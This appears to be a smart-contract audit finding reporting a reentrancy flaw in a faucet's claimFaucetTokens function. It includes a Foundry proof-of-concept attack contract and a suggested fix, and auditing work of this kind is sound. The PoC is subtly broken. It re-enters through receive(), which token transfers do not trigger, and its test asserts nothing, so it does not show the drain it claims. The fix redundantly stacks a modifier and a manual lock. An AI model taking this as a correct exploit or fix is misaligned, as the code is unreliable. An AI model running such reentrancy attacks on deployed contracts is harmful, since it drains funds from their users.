Root + Impact
Description
Expected behavior:
Each user should only be able to claim once per cooldown period.
Actual behavior:
A reentrant call allows multiple claims before the cooldown is updated.
@> function claimFaucetTokens() external {
@> require(block.timestamp > lastClaimed[msg.sender] + claimCooldown, "Wait for cooldown");
@> faucetToken.transfer(msg.sender, faucetClaimAmount);
@> lastClaimed[msg.sender] = block.timestamp;
@> emit FaucetClaimed(msg.sender, faucetClaimAmount);
@> }
Risk
Likelihood
Medium to High, depending on the token implementation.
If the faucet token is ERC777-compliant or includes callback hooks (tokensReceived), reentrancy is immediately possible.
Even with ERC20 tokens, integrating a malicious proxy could trigger this vulnerability.
Impact
1. Token drain risk: A malicious contract could recursively call claimFaucetTokens() to drain available faucet tokens in one transaction.
2. State inconsistency: The cooldown mechanism becomes unreliable, as multiple claims can bypass time checks.
3.System reliability loss: Honest users may face depleted faucet funds due to exploiters looping reentrant calls.
Proof of Concept
Explanation
The issue arises from unsafe state update order:
The function transfers tokens first, then updates the cooldown tracker.
If the transfer triggers a callback (as with ERC777 tokens), the same function can reenter before the state change, bypassing cooldown restrictions.
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/RaiseBoxFaucet.sol";
contract ReentrancyExploit {
RaiseBoxFaucet faucet;
address owner;
constructor(address _faucet) {
faucet = RaiseBoxFaucet(_faucet);
owner = msg.sender;
}
receive() external payable {
faucet.claimFaucetTokens();
}
function attack() external {
faucet.claimFaucetTokens();
}
}
contract ReentrancyTest is Test {
RaiseBoxFaucet faucet;
ReentrancyExploit attacker;
function setUp() public {
faucet = new RaiseBoxFaucet("RaiseBox", "RBT", 1000 ether, 0.005 ether, 1 ether);
attacker = new ReentrancyExploit(address(faucet));
}
function test_ReentrancyExploitDrainsTokens() public {
vm.startPrank(address(attacker));
attacker.attack();
}
}
Recommended Mitigation
Explanation: Add reentrancy protection and state update before external calls, like so
Benefits:
1.Prevents recursive claim attempts.
2.Protects faucet balance from drain attacks.
3.Ensures consistent state updates.
- remove this code
+ add this code
+ bool private locked;
function claimFaucetTokens() external nonReentrant {
- require(block.timestamp > lastClaimed[msg.sender] + claimCooldown, "Wait for cooldown");
- faucetToken.transfer(msg.sender, faucetClaimAmount);
- lastClaimed[msg.sender] = block.timestamp;
- emit FaucetClaimed(msg.sender, faucetClaimAmount);
+ require(!locked, "Reentrant call");
+ locked = true;
+ require(block.timestamp > lastClaimed[msg.sender] + claimCooldown, "Wait for cooldown");
+ lastClaimed[msg.sender] = block.timestamp;
+ faucetToken.transfer(msg.sender, faucetClaimAmount);
+ emit FaucetClaimed(msg.sender, faucetClaimAmount);
+ locked = false;
}